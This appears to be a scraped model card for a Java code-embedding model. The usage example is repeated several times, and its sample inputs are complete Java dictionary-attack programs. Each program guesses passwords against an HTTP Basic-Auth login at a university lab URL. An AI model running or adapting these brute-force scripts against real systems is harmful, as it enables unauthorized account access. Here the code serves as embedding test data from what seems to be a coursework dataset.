\'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', 